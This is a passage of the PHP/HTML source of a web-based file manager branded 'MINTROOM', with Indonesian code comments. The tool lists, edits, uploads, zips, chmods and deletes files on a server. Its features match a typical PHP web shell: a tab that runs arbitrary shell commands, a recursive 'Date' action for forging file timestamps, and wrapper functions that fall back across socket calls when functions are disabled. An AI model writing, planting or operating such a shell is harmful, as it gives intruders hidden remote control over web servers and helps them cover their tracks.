h($name); ?></a> <span class="badge-small">DIR</span> </div> </td> <td class="py-2 px-2 text-mint-400/50">-</td> <td class="py-2 px-2 mono text-xs <?php echo $permColorClass; ?>"><?php echo h(permsToString($full)); ?></td> <td class="py-2 px-2 text-xs text-mint-300/70"><?php echo h(date('Y-m-d H:i:s', @filemtime($full) ?: time())); ?></td> <td class="py-2 px-2"> <div class="row-actions"> <span class="btn btn-xs opacity-30 pointer-events-none">Edit</span> <span class="btn btn-xs opacity-30 pointer-events-none">DL</span> <button type="button" class="btn btn-xs btn-ghost" onclick="toggleRow('rn-<?php echo h($name); ?>')">Rename</button> <button type="button" class="btn btn-xs btn-ghost" onclick="toggleRow('cm-<?php echo h($name); ?>')">Chmod</button> <button type="button" class="btn btn-xs btn-ghost" onclick="toggleRow('mt-<?php echo h($name); ?>')">Date</button> <form method="post" action="?a=delete&p=<?php echo rawurlencode($current); ?>" onsubmit="return confirm('Delete this directory (recursive)?')" class="inline"> <input type="hidden" name="csrf" value="<?php echo h($csrf); ?>"> <input type="hidden" name="target" value="<?php echo h($name); ?>"> <input type="hidden" name="tab" value="create-file"> <button class="btn btn-xs btn-ghost !text-mint-300" type="submit">Delete</button> </form> </div> <div id="rn-<?php echo h($name); ?>" class="hidden mt-2"> <form method="post" action="?a=rename&p=<?php echo rawurlencode($current); ?>" class="flex flex-wrap gap-2"> <input type="hidden" name="csrf" value="<?php echo h($csrf); ?>"> <input type="hidden" name="old" value="<?php echo h($name); ?>"> <input type="text" name="new" class="field w-48 text-xs" placeholder="New name"> <input type="hidden" name="tab" value="<?php echo h($tab ?: 'create-file'); ?>"> <button class="btn btn-sm" type="submit">OK</button> <button class="btn btn-sm btn-ghost" type="button" onclick="closeAction(this)">Cancel</button> </form> </div> <div id="cm-<?php echo h($name); ?>" class="hidden mt-2"> <form method="post" action="?a=chmod&p=<?php echo rawurlencode($current); ?>" class="flex flex-wrap gap-2 items-center"> <input type="hidden" name="csrf" value="<?php echo h($csrf); ?>"> <input type="hidden" name="target" value="<?php echo h($name); ?>"> <input type="text" name="mode" class="field w-28 mono text-xs" placeholder="0755"> <label class="text-[10px] flex items-center gap-1"><input type="checkbox" name="recursive" class="accent-mint-500"> recursive</label> <input type="hidden" name="tab" value="<?php echo h($tab ?: 'create-file'); ?>"> <button class="btn btn-sm" type="submit">OK</button> <button class="btn btn-sm btn-ghost" type="button" onclick="closeAction(this)">Cancel</button> </form> </div> <div id="mt-<?php echo h($name); ?>" class="hidden mt-2"> <form method="post" action="?a=mtime&p=<?php echo rawurlencode($current); ?>" class="flex flex-wrap gap-2 items-center"> <input type="hidden" name="csrf" value="<?php echo h($csrf); ?>"> <input type="hidden" name="target" value="<?php echo h($name); ?>"> <input type="text" name="ts" class="field w-56 mono text-xs" placeholder="YYYY-MM-DD HH:MM:SS or epoch" required> <label class="text-[10px] flex items-center gap-1"><input type="checkbox" name="recursive" checked class="accent-mint-500"> recursive</label> <input type="hidden" name="tab" value="<?php echo h($tab ?: 'create-file'); ?>"> <button class="btn btn-sm" type="submit">OK</button> <button class="btn btn-sm btn-ghost" type="button" onclick="closeAction(this)">Cancel</button> </form> </div> </td> </tr> <?php endforeach; ?> <?php foreach ($files as $name): $full = $current . DIRECTORY_SEPARATOR . $name; $size = (int)@filesize($full); $mtime = (int)@filemtime($full); $ext=strtolower(pathinfo($full, PATHINFO_EXTENSION)); $r = @is_readable($full); $w = @is_writable($full); $permColorClass = $w ? 'text-mint-400' : ($r ? 'text-gray-200' : 'text-mint-700/60'); ?> <tr class="border-b border-mint-800/20 hoverable" data-type="file" data-name="<?php echo h(strtolower($name)); ?>" data-size="<?php echo $size; ?>" data-mtime="<?php echo $mtime; ?>" draggable="true" ondragstart="onDragStartItem(event, <?php echo je($name); ?>)"> <td class="py-2 px-2"><input class="rowchk" type="checkbox" name="items[]" value="<?php echo h($name); ?>" class="accent-mint-500"></td> <td class="py-2 px-2"> <div class="flex items-center gap-2 <?php echo $permColorClass; ?>"> <?php echo iconSvgFor($full); ?> <a class="font-medium hover:underline" draggable="false" onclick="return guardLinkCopy(event)" href="?a=view&f=<?php echo rawurlencode($name); ?>&p=<?php echo rawurlencode($current); ?>"> <?php echo h($name); ?> </a> </div> </td> <td class="py-2 px-2 mono text-xs text-mint-300/80"><?php echo h(humanSize($size)); ?></td> <td class="py-2 px-2 mono text-xs <?php echo $permColorClass; ?>"><?php echo h(permsToString($full)); ?></td> <td class="py-2 px-2 text-xs text-mint-300/70"><?php echo h(date('Y-m-d H:i:s', $mtime ?: time())); ?></td> <td class="py-2 px-2"> <div class="row-actions"> <a class="btn btn-xs" href="?a=edit&f=<?php echo rawurlencode($name); ?>&p=<?php echo rawurlencode($current); ?>">Edit</a> <a class="btn btn-xs btn-ghost" href="?a=download&f=<?php echo rawurlencode($name); ?>&p=<?php echo rawurlencode($current); ?>">DL</a> <button type="button" class="btn btn-xs btn-ghost" onclick="toggleRow('rn-<?php echo h($name); ?>')">Rename</button> <button type="button" class="btn btn-xs btn-ghost" onclick="toggleRow('cm-<?php echo h($name); ?>')">Chmod</button> <button type="button" class="btn btn-xs btn-ghost" onclick="toggleRow('mt-<?php echo h($name); ?>')">Date</button> <?php if (in_array($ext,array('zip')) || preg_match('~\.(tar|tar\.gz|tar\.bz2|tar\.xz)$~i', $name)): ?> <form method="post" action="?a=unzip&p=<?php echo rawurlencode($current); ?>" class="inline"> <input type="hidden" name="csrf" value="<?php echo h($csrf); ?>"> <input type="hidden" name="file" value="<?php echo h($name); ?>"> <input type="hidden" name="tab" value="<?php echo h($tab ?: 'create-file'); ?>"> <button class="btn btn-xs btn-ghost" type="submit">Unzip</button> </form> <?php endif; ?> <form method="post" action="?a=delete&p=<?php echo rawurlencode($current); ?>" class="inline" onsubmit="return confirm('Delete this file?')"> <input type="hidden" name="csrf" value="<?php echo h($csrf); ?>"> <input type="hidden" name="target" value="<?php echo h($name); ?>"> <input type="hidden" name="tab" value="<?php echo h($tab ?: 'create-file'); ?>"> <button class="btn btn-xs btn-ghost !text-mint-300" type="submit">Delete</button> </form> </div> <div id="rn-<?php echo h($name); ?>" class="hidden mt-2"> <form method="post" action="?a=rename&p=<?php echo rawurlencode($current); ?>" class="flex flex-wrap gap-2 mt-1"> <input type="hidden" name="csrf" value="<?php echo h($csrf); ?>"> <input type="hidden" name="old" value="<?php echo h($name); ?>"> <input type="text" name="new" class="field w-48 text-xs" placeholder="New name"> <input type="hidden" name="tab" value="<?php echo h($tab ?: 'create-file'); ?>"> <button class="btn btn-sm" type="submit">OK</button> <button class="btn btn-sm btn-ghost" type="button" onclick="closeAction(this)">Cancel</button> </form> </div> <div id="cm-<?php echo h($name); ?>" class="hidden mt-2"> <form method="post" action="?a=chmod&p=<?php echo rawurlencode($current); ?>" class="flex flex-wrap gap-2 items-center mt-1"> <input type="hidden" name="csrf" value="<?php echo h($csrf); ?>"> <input type="hidden" name="target" value="<?php echo h($name); ?>"> <input type="text" name="mode" class="field w-24 mono text-xs" placeholder="0644"> <label class="text-[10px] flex items-center gap-1 opacity-50"><input type="checkbox" disabled> recursive</label> <input type="hidden" name="tab" value="<?php echo h($tab ?: 'create-file'); ?>"> <button class="btn btn-sm" type="submit">OK</button> <button class="btn btn-sm btn-ghost" type="button" onclick="closeAction(this)">Cancel</button> </form> </div> <div id="mt-<?php echo h($name); ?>" class="hidden mt-2"> <form method="post" action="?a=mtime&p=<?php echo rawurlencode($current); ?>" class="flex flex-wrap gap-2 items-center"> <input type="hidden" name="csrf" value="<?php echo h($csrf); ?>"> <input type="hidden" name="target" value="<?php echo h($name); ?>"> <input type="text" name="ts" class="field w-56 mono text-xs" placeholder="YYYY-MM-DD HH:MM:SS or epoch" required> <label class="text-[10px] flex items-center gap-1 opacity-50"><input type="checkbox" disabled> recursive</label> <input type="hidden" name="tab" value="<?php echo h($tab ?: 'create-file'); ?>"> <button class="btn btn-sm" type="submit">OK</button> <button class="btn btn-sm btn-ghost" type="button" onclick="closeAction(this)">Cancel</button> </form> </div> </td> </tr> <?php endforeach; ?> <?php if (empty($dirs) && empty($files)): ?> <tr><td colspan="6" class="py-10 text-center text-mint-400/40 uppercase tracking-wider text-xs">Empty</td></tr> <?php endif; ?> </tbody> </table> </div> <hr class="mt-3 mb-2 border-mint-800/30"> <!-- below the table --> <div class="mt-2"> <form method="post" action="?a=zip&p=<?php echo rawurlencode($current); ?>" class="inline-flex flex-wrap gap-2 items-center"> <input type="hidden" name="csrf" value="<?php echo h($csrf); ?>"> <input type="text" name="zipname" class="field w-64 text-xs" placeholder="archive-name.zip (optional)"> <input type="hidden" name="tab" value="<?php echo h($tab ?: 'create-file'); ?>"> <button class="btn btn-sm" type="submit" onclick="return collectSelectedInto(this.form)">馃摝 Zip Selected</button> <span class="text-[10px] text-mint-400/40 uppercase tracking-wider"> Fallback to .tar if ZipArchive unavailable </span> </form> </div> </form> </div> </section> </main> <!-- Footer --> <footer class="w-full px-6 py-4"> <div class="footer-line mb-3"></div> <div class="text-[10px] text-mint-400/40 uppercase tracking-widest flex items-center justify-between"> <span>漏 <?php echo $yearNow; ?> MINTROOM 鈥� Secure File Manager</span> <span class="flex items-center gap-1"><span class="w-1.5 h-1.5 bg-mint-500 rounded-full animate-pulse"></span> Mint Dark UI</span> </div> </footer> <script> document.documentElement.classList.add('dark'); // ===== Simple text tabs logic for Create ===== (function(){ var tabLinks = Array.prototype.slice.call(document.querySelectorAll('#createCard .tablink')); var tabContents = { 'tab-create-file': document.getElementById('tab-create-file'), 'tab-create-folder': document.getElementById('tab-create-folder'), 'tab-upload': document.getElementById('tab-upload'), 'tab-run-cmd': document.getElementById('tab-run-cmd') }; var subtabsWrap = document.getElementById('uploadSubtabs'); var subtabLinks = Array.prototype.slice.call(document.querySelectorAll('#createCard .subtablink')); var subContents = { 'sub-upload-local': document.getElementById('sub-upload-local'), 'sub-upload-url': document.getElementById('sub-upload-url') }; var subtabsHr = document.getElementById('uploadSubtabsHr'); function activateTab(target){ tabLinks.forEach(function(a){ if(a.getAttribute('data-target')===target){ a.classList.add('active'); } else { a.classList.remove('active'); } }); Object.keys(tabContents).forEach(function(k){ tabContents[k].style.display = (k===target)?'block':'none'; }); var isUpload = (target==='tab-upload'); subtabsWrap.style.display = isUpload ? 'flex' : 'none'; if (subtabsHr) subtabsHr.style.display = isUpload ? 'block' : 'none'; if (target === 'tab-run-cmd') initCmdEditor(); } function activateSub(target){ subtabLinks.forEach(function(a){ if(a.getAttribute('data-target')===target){ a.classList.add('active'); } else { a.classList.remove('active'); } }); Object.keys(subContents).forEach(function(k){ subContents[k].style.display = (k===target)?'block':'none'; }); } tabLinks.forEach(function(a){ a.addEventListener('click', function(e){ e.preventDefault(); activateTab(a.getAttribute('data-target')); }); }); subtabLinks.forEach(function(a){ a.addEventListener('click', function(e){ e.preventDefault(); activateSub(a.getAttribute('data-target')); }); }); // init berdasar URL ?tab=...&subtab=... (function(){ function qp(k){ return new URLSearchParams(location.search).get(k) || ''; } var t = qp('tab'), st = qp('subtab'); if(!t) t = 'create-file'; if(t==='upload' && !st) st = 'local'; var map = { 'create-file':'tab-create-file', 'create-folder':'tab-create-folder', 'upload':'tab-upload', 'run-cmd':'tab-run-cmd' }; var submap = { 'local':'sub-upload-local', 'url':'sub-upload-url' }; activateTab(map[t] || 'tab-create-file'); if(t==='upload') activateSub(submap[st] || 'sub-upload-local'); // refresh CodeMirror kalau kebuka Run Command if(t==='run-cmd') initCmdEditor(); })(); })(); // Jangan navigasi ketika ada teks terseleksi (agar <a> mudah di-copy) function guardLinkCopy(e){ var sel = ''; if (window.getSelection) sel = String(window.getSelection()); if (sel && sel.length > 0){ e.preventDefault(); return false; } return true; } // Search filter const searchEl = document.getElementById('searchBox'); function filterRows(){ const q = (searchEl && searchEl.value || '').trim().toLowerCase(); const rows = document.querySelectorAll('#dirBody tr'); rows.forEach(function(r){ var name = r.getAttribute('data-name')||''; r.style.display = name.indexOf(q) !== -1 ? '' : 'none'; }); } window.addEventListener('keydown', function(e){ if(e.ctrlKey && e.key === '/'){ e.preventDefault(); if(searchEl){searchEl.focus();} } }); // Sort var sortState = { key:'name', asc:true }; function sortBy(key){ var body = document.getElementById('dirBody'); var rows = Array.prototype.slice.call(body.querySelectorAll('tr')); var factor = (sortState.key===key && sortState.asc)?-1:1; sortState = { key: key, asc: factor===1 }; rows.sort(function(a,b){ if(key==='name'){ return a.dataset.name.localeCompare(b.dataset.name) * factor; } if(key==='size' || key==='mtime'){ var av = parseInt(a.dataset[key]||'0',10); var bv = parseInt(b.dataset[key]||'0',10); return (av-bv) * factor; } return 0; }); rows.forEach(function(r){ body.appendChild(r); }); } // Checkboxes function toggleAll(master){ Array.prototype.forEach.call(document.querySelectorAll('.rowchk'), function(x){ x.checked = master.checked; }); } function selectAll(flag){ Array.prototype.forEach.call(document.querySelectorAll('.rowchk'), function(x){ x.checked = !!flag; }); var m=document.getElementById('chkAll'); if(m) m.checked=!!flag; } function toggleRow(id){ var el=document.getElementById(id); if(el) el.classList.toggle('hidden'); } function closeAction(btn){ var holder = btn.closest('div[id^="rn-"], div[id^="cm-"], div[id^="mt-"]'); if(holder) holder.classList.add('hidden'); } // Collect selected items for Zip form function collectSelectedInto(form){ Array.prototype.forEach.call(form.querySelectorAll('input[name="items[]"]'), function(n){ n.parentNode.removeChild(n); }); Array.prototype.forEach.call(document.querySelectorAll('#dirBody .rowchk:checked'), function(chk){ var i = document.createElement('input'); i.type='hidden'; i.name='items[]'; i.value=chk.value; form.appendChild(i); }); return true; } // ===== Drag & Drop Upload ===== var dropZone = document.getElementById('dropZone'); var tableCard = document.getElementById('tableCard'); var csrf = <?php echo je($csrf); ?>; var currentPath = <?php echo je($current); ?>; ['dragenter','dragover'].forEach(function(ev){ document.addEventListener(ev, function(e){ e.preventDefault(); e.stopPropagation(); tableCard.classList.add('drop-hint'); }); }); ['dragleave','drop'].forEach(function(ev){ document.addEventListener(ev, function(e){ if(ev==='dragleave' && e.target !== document) return; tableCard.classList.remove('drop-hint'); }); }); document.addEventListener('drop', function(e){ if(!e.dataTransfer || !e.dataTransfer.files || e.dataTransfer.files.length===0) return; e.preventDefault(); e.stopPropagation(); try{ var fd = new FormData(); fd.append('csrf', csrf); for(var i=0;i<e.dataTransfer.files.length;i++){ var f=e.dataTransfer.files[i]; fd.append('files[]', f, f.name); } fd.append('tab','upload'); fd.append('subtab','local'); fetch('?a=upload&p='+encodeURIComponent(currentPath), { method:'POST', body:fd }) .then(function(){ location.href='?p='+encodeURIComponent(currentPath)+'&tab=upload&subtab=local'; }) .catch(function(){ alert('Upload failed'); }); }catch(err){ console.error(err); alert('Upload failed'); } }); // ===== Drag to Move between directories (default OFF) ===== var draggedItemName = null; var dragEnabled = false; (function(){ var dt = document.getElementById('dragToggle'); if (dt) { dragEnabled = !!dt.checked; dt.addEventListener('change', function(){ dragEnabled = !!dt.checked; }); } })(); function onDragStartItem(ev, name){ if (!dragEnabled) { ev.preventDefault(); return false; } draggedItemName = name; ev.dataTransfer.setData('text/plain', name); ev.dataTransfer.effectAllowed = 'move'; } function onDragOverDir(ev){ if (!dragEnabled) return; ev.preventDefault(); ev.currentTarget.classList.add('droptarget'); ev.dataTransfer.dropEffect = 'move'; } function onDragLeaveDir(ev){ ev.currentTarget.classList.remove('droptarget'); } function onDropToDir(ev, dirName){ if (!dragEnabled) return; ev.preventDefault(); var row = ev.currentTarget; row.classList.remove('droptarget'); var src = draggedItemName || ev.dataTransfer.getData('text/plain'); if(!src) return; try{ var fd = new FormData(); fd.append('csrf', csrf); fd.append('src', src); var dstAbs = <?php echo je($current.DIRECTORY_SEPARATOR); ?> + dirName; fd.append('dst', dstAbs); fd.append('tab','create-file'); fetch('?a=move&p='+encodeURIComponent(currentPath), { method:'POST', body:fd }) .then(function(){ location.href='?p='+encodeURIComponent(currentPath); }) .catch(function(){ alert('Move failed'); }); }catch(err){ console.error(err); alert('Move failed'); } } // ===== CodeMirror Init (file editor text mode) ===== <?php if ($editFile && $viewMode === 'txt'): ?> (function(){ var ta = document.getElementById('editor'); if (!ta) return; var filename = <?php echo je(basename($editFile)); ?>; CodeMirror.modeURL = "https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/%N/%N.min.js"; var info = CodeMirror.findModeByFileName(filename) || CodeMirror.findModeByMIME('text/plain'); var cm = CodeMirror.fromTextArea(ta, { lineNumbers:true, styleActiveLine:true, matchBrackets:true, autoCloseBrackets:true, lineWrapping:true, theme:'dracula', mode: (info && info.mime) ? info.mime : 'text/plain', viewportMargin: Infinity }); if (info && info.mode) { CodeMirror.autoLoadMode(cm, info.mode); } var det = document.getElementById('editPanel'); if(det){ det.addEventListener('toggle', function(){ setTimeout(function(){cm.refresh();},50); }); } var form = document.getElementById('editForm'); if(form){ form.addEventListener('submit', function(){ cm.save(); }); } })(); <?php endif; ?> // ===== CodeMirror untuk PREVIEW (readonly, auto-detect) ===== (function(){ var pre = document.getElementById('previewPre'); if(!pre || typeof CodeMirror === 'undefined') return; CodeMirror.modeURL = "https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/%N/%N.min.js"; var filename = <?php echo je($viewFile ? basename($viewFile) : ''); ?>; var info = (filename && CodeMirror.findModeByFileName(filename)) || CodeMirror.findModeByMIME('text/plain'); var textValue = pre.textContent || ''; var holder = document.createElement('div'); pre.parentNode.replaceChild(holder, pre); var cmPrev = CodeMirror(holder, { value: textValue, readOnly: true, lineNumbers: true, lineWrapping: true, theme: 'dracula', mode: (info && info.mime) ? info.mime : 'text/plain', viewportMargin: Infinity }); if (info && info.mode) CodeMirror.autoLoadMode(cmPrev, info.mode); cmPrev.setSize('100%', 480); var det = document.getElementById('previewPanel'); if (det) det.addEventListener('toggle', function(){ setTimeout(function(){ cmPrev.refresh(); }, 50); }); window.addEventListener('resize', function(){ cmPrev.refresh(); }); })(); // ===== CodeMirror untuk RUN COMMAND (di tab) ===== var cmCmd = null; function initCmdEditor(){ if (cmCmd || typeof CodeMirror === 'undefined') return; var ta = document.getElementById('cmdTA'); if(!ta) return; CodeMirror.modeURL = "https://cdnjs.cloudflare.com/ajax/libs/codemirror/5.65.16/mode/%N/%N.min.js"; var isWin = <?php echo je(DIRECTORY_SEPARATOR === '\\'); ?>; var cmdMode = isWin ? 'powershell' : 'shell'; cmCmd = CodeMirror.fromTextArea(ta, { lineNumbers: false, styleActiveLine: true, matchBrackets: true, autoCloseBrackets: true, lineWrapping: false, theme: 'dracula', mode: cmdMode, viewportMargin: 20, }); CodeMirror.autoLoadMode(cmCmd, cmdMode); cmCmd.setSize('100%', 44); cmCmd.getWrapperElement().classList.add('cm-cmd-input'); cmCmd.on('beforeChange', function(cm, change){ var hasNewline = change.text && (change.text.length > 1 || /\r|\n/.test(change.text[0])); if (hasNewline) change.update(change.from, change.to, [' ']); }); cmCmd.on('keydown', function(cm, e){ if ((e.ctrlKey || e.metaKey) && e.key === 'Enter') { e.preventDefault(); var form = document.getElementById('cmdForm'); if (form) form.submit(); } }); setTimeout(function(){ cmCmd.refresh(); }, 50); window.addEventListener('resize', function(){ if(cmCmd){ cmCmd.refresh(); } }); // Upgrade output <pre> ke CodeMirror readonly bila ada var pre = document.getElementById('cmdOutPre'); if(pre){ var txt = pre.textContent || ''; var holder = document.createElement('div'); pre.parentNode.replaceChild(holder, pre); var outMode = cmdMode; var cmOut = CodeMirror(holder, { value: txt, readOnly: true, lineNumbers: true, lineWrapping: true, theme: 'dracula', mode: outMode, viewportMargin: Infinity }); CodeMirror.autoLoadMode(cmOut, outMode); cmOut.setSize('100%', 340); cmOut.getWrapperElement().classList.add('cm-cmd-output'); setTimeout(function(){ cmOut.refresh(); }, 50); window.addEventListener('resize', function(){ cmOut.refresh(); }); } } // Copy Path button (function(){ var btn = document.getElementById('copyPathBtn'); if(!btn) return; var input = document.getElementById('pathInput'); var copyIcon = document.getElementById('copyIcon'); var checkIcon = document.getElementById('checkIcon'); btn.addEventListener('click', function(){ if(!input) return; input.select(); try{ var txt = input.value || ''; if (navigator.clipboard && navigator.clipboard.writeText) { navigator.clipboard.writeText(txt).then(showTick, showTick); } else { document.execCommand('copy'); showTick(); } }catch(e){ showTick(); } }); function showTick(){ if(copyIcon && checkIcon){ copyIcon.classList.add('hidden'); checkIcon.classList.remove('hidden'); setTimeout(function(){ checkIcon.classList.add('hidden'); copyIcon.classList.remove('hidden'); }, 1200); } } })(); </script> </body> </html> <?php /* ============================================================ * OPTIONAL WRAPPERS (fx_*) 鈥� unchanged * ============================================================ */ if (!function_exists('fx_stream_socket_client')) { function fx_stream_socket_client($remote_socket, &$errno=null, &$errstr=null, $timeout=30, $flags=0, $context=null) { if (is_fn_usable('stream_socket_client')) { return @stream_socket_client($remote_socket, $errno, $errstr, $timeout, $flags, $context); } if (is_fn_usable('fsockopen')) { $host = $remote_socket; $port = 0; if (stripos($remote_socket, 'tcp://') === 0 || stripos($remote_socket, 'ssl://') === 0 || stripos($remote_socket, 'tls://')===0) { $tmp = parse_url($remote_socket); if ($tmp && isset($tmp['host']) && isset($tmp['port'])) { $host=$tmp['host']; $port=$tmp['port']; } } else if (strpos($remote_socket, ':') !== false) { $parts = explode(':',$remote_socket,2); $host=$parts[0]; $port=(int)$parts[1]; } return @fsockopen($host, $port ? $port : 80, $errno, $errstr, $timeout); } $errno = 0; $errstr = 'No socket functions available'; return false; } } // ... (rest of fx_* functions unchanged, omitted for brevity but included in original file)
Save
cmd:
run